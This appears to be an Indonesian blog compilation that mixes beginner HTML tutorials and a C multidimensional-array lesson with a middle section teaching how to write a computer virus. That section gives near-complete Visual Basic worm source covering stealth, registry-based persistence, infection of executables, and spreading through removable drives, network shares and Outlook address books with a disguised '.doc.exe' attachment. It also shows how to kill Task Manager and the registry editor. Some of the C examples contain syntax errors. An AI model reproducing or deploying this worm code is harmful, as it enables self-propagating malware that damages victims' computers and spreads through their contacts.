Kumpulan Tag HTML

<!–    –> Memberi komentar atau keterangan. Kalimat yang terletak pada tag kontiner ini tidak akan terlihat pada browser
<a href> Membuat link ke halaman lain atau ke bagian lain dari halaman tersebut
<a name> Membuat nama bagian yang didefinisikan pada link pada halaman yang sama
<applet> Sebagai awal dari Java applets
<area> Mendefinisikan daerah yang dapat diklik (link) pada image map
<b> Membuat teks tebal
<basefont> Membuat atribut teks default seperti jenis, ukuran dan warna font
<bgsound> Memberi (suara latar) background sound pada halaman web
<big> Memperbesar ukuran teks sebesar satu point dari defaultnya
<blink> Membuat teks berkedip
<body> Tag awal untuk melakukan berbagai pengaturan terhadap text, warna link & visited link
<br> Pindah baris
<caption> Membuat caption pada tabel
<center> Untuk perataan tengah terhadap teks atau gambar
<comment> Meletakkan komentar pada halaman web tidak tidak akan nampak pada browser
<dd> Indents teks
<div> Represents different sections of text.
<embed> Menambahkan sound or file avi ke halaman web
<fn> Seperti tag <a name>
<font> Mengganti jenis, ukuran, warna huruf yang akan digunakan utk teks
<form> Mendefinisikan input form
<frame> Mendefinisikan frame
<frameset> Mendefinisikan attribut halaman yang akan menggunakan frame
<h1> … <h6> Ukuran font
<head> Mendefinisikan head document.
<hr> Membuat garis horizontal
<html> Bararti dokumen html
<i> Membuat teks miring
<img> Image, imagemap atau an animation
<input> Mendefinisikan input field pada form
<li> Membuat bullet point atau baris baru pada list (berpasangan dengan tag <dir>, <menu>, <ol> and <ul> )
<map> Mendefinisikan client-side map
<marquee> Membuat scrolling teks (teks berjalan) – hanya pada MS IE
<nobr> Mencegah ganti baris pada teks atau images
<noframes> Jika browser user tidak mendukung frame
<ol> Mendefinisikan awal dan akhir list
<p> Ganti paragraf
<pre> Membuat teks dengan ukuran huruf yg sama
<script> Mendefinisikan awal script
<table> Membuat tabel
<td> Kolom pada tabel
<title> Mendefinisikan title
<tr> Baris pada tabel
<u> Membuat teks bergaris bawah
Advertisements

Bahas Images dengan HTML

Images :

Digunakan untuk menampilkan image atau animasi gif pada halaman web Anda.

Atribut : alt, align=(center, left, right), hspave, vspace, border, width & height

Contoh :

<IMG SRC=”logo.gif” alt=”Ini adalah logo halaman pembuka” width=200 height=100>

<IMG SRC=”logo.gif” hspace=10 vspace=5 align=right border=2>

Links :
Digunakan untuk membuat link ke halaman lain. Tulisan yang terletak antara <A> dan </A> akan terdapat garis bawah.

Contoh :

<A HREF=”halaman2.html”>Klik di sini</A> Untuk membuat link ke halaman lain.
<A HREF=”mailto:webmaster@klik-kanan.com”>Klik di sini</A> Untuk membuat link pada alamat e-mail.
<A HREF=”#aplikasi”>Klik di sini</A> Untuk membuat link ke bagian lain pada halaman yang sama.
<A HREF=”halamanlain.html#aplikasi”>Klik di sini</A> Untuk membuat link kebagian lain pada halaman yang berbeda.
<A HREF=”halaman2.html”><IMG SRC=”gambar.gif”></A> Untuk membuat link dengan menggunakan gambar.

sumber

Lists (HTML)

Terdapat tiga tipe list yang dapat digunakan, yaitu :

Unordered Lists: <UL> Untuk membuat daftar item dengan tanda bullet. List entries didefinisikan dengan tag <LI>.

Contoh :

<UL>
<LI> Item nomer 1
<LI> Item nomer 2
<LI> Item nomer 3
</UL>

Hasil dari kode di atas adalah:

  • Item nomer 1
  • Item nomer 2
  • Item nomer 3

Dengan atribut TYPE Anda dapat mendefinisikan bentuk disc, circle atau square bullet point.

Contoh :

<UL COMPACT TYPE=square> …

Ordered Lists: <OL> Juga digunakan untuk membuat daftar item, dengan tiap item dapat menggunakan angka arab atau romawi. List entries juga didefinisikan dengan <LI> tag.

Contoh :

<OL TYPE=I>
<LI> Item nomer 1
<LI> Item nomer 2
<LI> Item nomer 3
</OL>

Hasil dari kode di atas adalah :

  1. Item nomer 1
  2. Item nomerr 2
  3. Item nomerr 3

Untuk TYPE Anda dapat juga menggunakan :

1- Default numbers, 1, 2, 3, etc.
A- Huruf besar. A, B, C, etc.
a- Huruf kecil. a, b, c, etc.
I- Romawi huruf besar. I, II, III, etc.
i- Romawi huruf kecil , i, ii, iii, etc.

Definition Lists: <DL>

Contoh :

<DL>
<DT> Item pertama.
<DD> Penjelasan tentang item pertama.
<DT> Item kedua.
<DD> Penjelasan tentang item kedua
</DL>

Hasil dari kode di atas adalah :

Item pertama.
Penjelasan tentang item pertama.
Item kedua.
Penjelasan tentang item kedua

sumber

Pengaturan Teks (HTML)

Untuk mendapatkan halaman web yang baik Anda harus melakukan pengaturan terhadap teks seperti memilih jenis dan ukuran huruf, perataan, dll. Tag-tag di bawah ini yang biasa digunakan dalam pengaturan teks :

Headers: <Hn>..</Hn> Digunakan untuk mengatur ukuran huruf pada header. “n” mempunyai nilai antara 1 – 6 atau antara <H1> sampai <H6>, dengan <H1> merupakan ukuran terbesar dan <H6> merupakan ukuran terkecil.

Contoh :

<H2>Tutorial Html</H2>

Hasilnya akan terlihat seperti :

Tutorial Html

Paragraph Baru: <P> Digunakan untuk pindah alinea atau paragraf. Tag ini bisa diberi akhiran </P> tapi juga bisa tidak diberi.

Line Break: <BR> Digunakan untuk pindah ke baris baru.

No Line Break: <NOBR> Bila digunakan tag ini maka teks yang panjang tidak secara otomatis pindah baris bawahnya bila baris pertama sudah terlalu panjang.

Font <FONT> Untuk mendefinisikan berbagai attribut FONT, yaitu : SIZE, FACE, COLOR.

SIZE: Ukuran font yang digunakan, berkisar antara 1 – 7 dengan 1 merupakan ukuran terkecil dan 7 merupakan ukuran terbesar.

FACE: Jenis atau nama font. Anda bisa memilih maksimal 3 jenis font yang masing-masing dipisahkan oleh koma. Bila terdapat spasi yang terletak pada nama font maka harus digunakan tanda garis bawah ( _ ). Dalam memilih jenis font ini harus dipertimbangkan apakah font yang kita gunakan pada halaman web kita nantinya akan terdapat pada komputer pengguna yang lain (pengakses web kita). Pendeknya kita tidak usah menggunakan font-font yang bentuknya aneh-aneh, gunakan saja font standar. Tapi bila Anda ingin menggunakan font yang sedikit “aneh” Anda bisa menggunakan graphic.

COLOR: Warna font, didefinisikan dengan menggunakan nilai RGB/HEX atau bisa juga langsung menggunakan nama warna (red misalnya).

Contoh :

<FONT SIZE=4 FACE=”Verdana, Arial, Helvetica” COLOR=”#FF0000″>Contoh teks yang berwarna merah</FONT>

Hasilnya akan terlihat seperti :

Contoh teks yang berwarna merah

Contoh lainnya :

<FONT SIZE=2 FACE=”Times_New_Roman” COLOR=”#0066CC”>

Base Font: <BASEFONT> Digunakan untuk mendefinisikan “default text”. Attribut sama dengan attribut FONT. Tag FONT akan mengoverwrite setting pada BASEFONT.

Contoh :

<BASEFONT SIZE=2 FACE=”Arial,Helvetica” COLOR=”#FF0000″>

Selain tag dan atribut di atas, masih terdapat lagi tag-tag yang berhubungan dengan pengaturan teks, yaitu :

Perhatian : Semua tag di bawah ini membutuhkan tap penutup.

<B> Bold text
<I>
Italic text
<U>
Underscore
<TT>
Typewriter
<S> Strikeout – draws a line through the text
<PRE>
Preformatted Text <DFN> Definition
<BLINK> Text berkedip (lebih baik jangan digunakan)
<STRONG>
Strong
<ADDRESS>

Italic


<CITE>
Digunakan untuk quoting text
<CODE>
Monospaced font (digunakan bila Anda ingin meletakkan (memperlihatkan) kode HTML pada dokumen HTML Anda)
<SAMP>
Monospaced font (digunakan bila Anda ingin meletakkan (memperlihatkan) kode HTML pada dokumen HTML Anda)
<KBD>
Monospaced font (digunakan bila Anda ingin meletakkan (memperlihatkan) kode HTML pada dokumen HTML Anda)
<BIG>
Ukuran teks akan lebih besar satu ukuran
<SMALL>
Ukuran teks akan lebih kecil satu ukuran
<SUP> Membuat tekssuperscript
<SUB> membuat tekssub script
<ABBREV>
Abbreviations
<ACRONYM>
Untuk akronim
<PERSON>
Digunakan untuk indexing
<Q>
Membuat short inline quotation
<VAR>
Membuat variable name, selalu dalam italics.

sumber

Berkenalan dengan HTML

HTML atau Hypertext Markup Language merupakan protokol yang digunakan untuk mentransfer data atau document dari web server ke browser kita (Internet Explorer, Netscape Navigator, NeoPlanet, dll). Nah, HTML inilah yang memungkinkan Anda menjelajah internet dan melihat halaman web yang menarik.

Sekarang ini di pasaran terdapat banyak sekali HTML authoring (software yang digunakan untuk membuat atau mendesain halaman web). Macromedia Dreamweaver, Adobe GoLive, MS FrontPage sekedar contohnya. Tetapi tanpa mengetahui dasar-dasarnya Anda tidak akan memperoleh hasil yang maksimal. Mengapa ? Karena walaupun software-software tersebut semakin menawarkan kemudahan dalam membuat halaman web, tetapi biasanya seseorang masih perlu untuk mengedit halaman web tersebut secara manual. Terutama untuk halaman web yang sangat komplek.

untuk memulai tutorial ini, kita bisa pakai notepad, kemudian save as .html agar bisa dilihat di browser……

Struktur dasar HTML

HTML (Hypert Text Markup Language) merupakan bahasa pemrograman yang digunakan dalam pembuatan halaman web. Dalam penggunaannya sebagian besar kode HTML tersebut harus terletak di antara tag kontainer. Yaitu diawali dengan <namatag> dan diakhiri dengan </namatag> (terdapat tanda “/”).

Sebuah halaman web minimal mempunyai empat buat tag, yaitu :

<HTML> Sebagai tanda awal dokumen HTML.

<HEAD> Sebagai informasi page header. Di dalam tag ini kita bisa meletakkan tag-tag TITLE, BASE, ISINDEX, LINK, SCRIPT, STYLE & META.

<TITLE> Sebagai titel atau judul halaman. Kalimat yang terletak di dalam tag ini akan muncul pada bagian paling atas browser Anda (pada title bar).

Contoh :

<TITLE>Tips HTML — http://www.klik-kanan.com</TITLE&gt;

<BODY> Di dalam tag ini bisa diletakkan berbagai page attribute seperti warna latar belakang, warna teks, warna link, warna visited link, warna active link dan lain-lain.

Atribut :
BGCOLOR, BACKGROUND, TEXT, LINK, VLINK, ALINK, LEFTMARGIN & TOPMARGIN.

Contoh :

<BODY bgcolor=”#000000″ background=”images/pcb.gif” text=”#FFFFFF” link=”#FF0000″ vlink=”FFFF00″ alink=”#0000FF”>

Sebuah contoh sederhana dokumen HTML :

    <HTML>
    <HEAD>
    <TITLE>Halaman pembuka
    </TITLE>
    </HEAD>
    <BODY bgcolor=”#FFFFFF” background=”images/gambar1.gif” text=”#FF0000″>
    Letakkan text, images, dan link Anda di sini
    </BODY>
    </HTML>


Teknik Pembuatan Virus Komputer

Syarat sebuah virus computer :
1.    Menyembunyikan prosesnya dari pemakai
2.    Mengaktifkan dirinya setiap startup sistem
3.    Menyebarkan dirinya melalui media file executable
4.    Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5.    Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6.    Menyebarkan dirinya dengan filename spoofing.
7.    Mempercepat proses penyebarannya dengan pendekatan social engineering
8.    Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & “” & app.EXEName , environ$(“windir”) & “” & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject(“WScript.Shell”)
WShell.regwrite “HKLMSoftwareMicrosoftWindowsCurrentVersionRunvirusku”, environ$(“windir”) & “” & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
‘Jangan menginfeksi diri sendiri
‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> “” Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
‘Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum ‘Buka file target
Seek fNum, LOF(fNum) – 5 + 1         ‘pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature                        ‘baca tSignature
Close fNum
If tSignature <> virSignature Then     ‘jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum ‘Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode            ‘baca Program Executable
Put fNum, 1, virCode                   ‘tulis Program Virus diawal
Put fNum, , OriginalCode            ‘tulis Program Executable
Put fNum, , virSize                      ‘tulis Ukuran Virus
Put fNum, , virSignature             ‘tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + “.exe” For Binary Access Read As #1
Seek #1, LOF(1) – 5 + 1                 ‘pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature                        ‘baca virSignature

If tSignature <> virSignature Then   ‘Jika file virus sendiri
virSize = LOF(1)                            ‘ukuran virSize sama dengan ukuran file
virCode = Space$(virSize)             ‘siapkan buffer virCode
Seek #1, 1                                       ‘ke posisi bof
Get #1, , virCode                            ‘baca virCode sebesar ukuran virSize
Close #1

Call VirInstall                                 ‘instalasi virus

If Not SudahLoad Then
Load ff                                         ‘aktifkan timer virus
End If

‘Jika file yang terinfeksi
Else
Seek #1, LOF(1) – 9 + 1                 ‘pindah file pointer ke posisi virSize
Get #1, , virSize                             ‘baca virSize (long = 4 byte)
‘Baca vircode
virCode = Space$(virSize)
Seek #1, 1                                       ‘ke posisi BOF (Awal file)
Get #1, , virCode                            ‘baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) – virSize)            ‘siapkan buffer
Get #1, , OriginalCode                                           ‘baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & “.exe”) <> “”
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & “.exe”

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode                                      ‘tulis ke file sementara
Close #2                                                            ‘tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff                                          ‘aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname                                        ‘hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus)                 ‘jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit                     ‘ambil status aktif
Do While HExit = STILL_ACTIVE                   ‘proses ditahan selama proses masih aktif
DoEvents                                                          ‘lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
‘Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
‘Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, “3½ Floppy (A:)”)
If Not floppy_hwnd = 0 Then
Call InfeksiResource(“A:”, “DOCXLS”) ‘Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject(“Scripting.FileSystemObject”)
For Each ObjDrive In ObjFSO.Drives
‘Asumsi semua removable drive diatas huruf C adalah flash disk
‘1 – Removable drive
‘2 – Fixed drive (hard disk)
‘3 – Mapped network drive
‘4 – CD-ROM drive
‘5 – RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
Call InfeksiResource(ObjDrive.DriveLetter + “:”, “XLSDOC”)
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares(“\127.0.0.1”, “Microsoft Windows Network”, shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, “XLSDOCEXE”)
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares(“”, “Microsoft Windows Network”, Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, “Microsoft Windows Network”, Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, “Microsoft Windows Network”, Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, “XLSDOCEXE”)
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject(“Outlook.Application”)
Set Mapi = Outlook.GetNamespace(“MAPI”)

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = “Subject Virus Anda”
Mail.Body = vbCrLf & “Pesan anda agar pemakai tertarik membuka attachment.”
Mail.Attachments.Add Environ$(“windir”) & “” & attachment & “.doc.exe”
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools”, 0, “REG_DWORD”
WShell.regwrite “HKCU SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableCMD”, 0, “REG_DWORD”

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = “Registry Editor”
EnemyProcess(2) = “Windows Task Manager”
EnemyProcess(3) = “Process Viewer”
EnemyProcess(4) = “Open With”
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API  Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib “kernel32” (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib “kernel32” (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib “kernel32” (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib “kernel32” (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib “user32” Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib “user32” (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib “kernel32” Alias “lstrlenA” (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib “kernel32” Alias “lstrcpyA” _
(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount – 1) As String
For nrLen = 0 To (nrCount – 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer       ‘0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then    ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
‘Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

Pemrograman C-7


ARRAY MULTIDIMENSI

Sebagaimana telah dipelajari pada bab sebelumnya bahwa array adalah variabel yang mampu menyimpan sejumlah nilai bertipe sama. Pada beberapa contoh dan latihan yang telah disajikan pada bab sebelumnya, array berisi sebuah baris data, akan tetapi pada pemrograman C mendukung arry berdimensi banyak. Cara termudah untuk menvisualisasikan array berdimensi dua adalah sebagai table dengan baris dan kolom. Jika array berisi 3 dimensi, visualisasi array sebagai jumlah halaman, yang masing-masing berisi dua dimensi. Pendeklarasian array pada contoh berikut menciptakan array-array yang berdimensi 1, 2 dan 3

char string[64];

int table [10][5];

float pages [10][5][3];

Pada saatkita bekerja dengan array berdimensi dua, bayangkan array sebagai table dengan baris dan kolom. Baris-baris table adalah deretan dari kiri ke kanan dan kolom adalah deretan dari atas ke bawah. Pada saat dideklarasikan nilai pertama menyatakan jumlah baris dan nilai kedua menunjukkan kolom.

  1. Mengakses Elemen Array Berdimensi Dua

Untuk mengacu elemen array tertentu, akan lebih mudah apabila kita visualisasikan array berdimensi dua sebagai sebuah table dengan baris dan kolom, kita harus menyebutkan posisi baris dan kolom dari elemen yang bersangkutan seperti visualisasi array dalam Gambar dibawah ini.

  1. Menginisialisasi Elemen dalam Array Multi Dimensi

Inisialisasi array dapat dilakukan dengan menempatkan nilai elemen di dalam kurung siku yang mengikuti pendeklarasian array berdimensi banyak dan nilai untuk setiap baris array disebutkan dalam tanda kurung kurawal sepeti contoh inisialisasi array berdimensi dua berikut ini.

int table [2][3] = {{1,2,3}, {4,5,6}}

int pin [4][5] = {{1,2,3,4,5},{6,7,8,9,10},{12,11,13,14,15},{16,17,18,19,20}};

  1. Berkalang pada Array Berdimensi Dua

Pada pembahasan sebelumnya kita mengetahui cara memakai variabel untuk melakukan pengindeksan elemen-elemen di dalam sebuah array. Kalau program latihan sebelumnya dibuat dengan model array berdimensi dua maka biasanya akan digunakan dua variabel untuk mengakses elemen-elemen array. Cobalah program berikut yang menggunakan variabel row dan colomn untuk menampilkan nilai-nilai array table.

Latihan 7.1

Cobalah listing program berikut ini dan jelaskan hasil yang anda peroleh

#include <stdio.h>

void main (void)

{

int row, colomn;

float table [3][5] = {{1.0, 2.0, 3.0, 4.0, 5.0},{6.0, 7.0, 8.0, 9.0 10.0},

{11.0, 12.0, 13.0, 14.0, 15.0}}

for (row = 0; row< 3; row++)

for (colomn = 0; colomn <5; colomn++)

printf(“table[%d][%d] = %f\n”, row, colomn, table[row][colomn]);

}

Latihan 7.2

Cobalah listing program berikut ini dan jelaskan hasil yang anda peroleh

#include <stdio.h>

void main (void)

{

int row, colomn, table;

float values [2][3][5] = {{{1.0, 2.0, 3.0, 4.0, 5.0},{6.0, 7.0, 8.0, 9.0 10.0},

{11.0, 12.0, 13.0, 14.0, 15.0}}, {{16.0, 17.0, 18.0, 19.0, 20.0}, {21.0, 22.0, 23.0, 24.0, 25.0}, {26.0, 27.0, 28.0, 29.0, 30.0}}};

for (row = 0; row< 2; row++)

for (colomn = 0; colomn < 3; colomn++)

for(table = 0; table < 5; table++)

printf(“values [%d][%d][%d] = %f\n”, row, colomn, table, values[row][colomn][table]);

}

Project 2

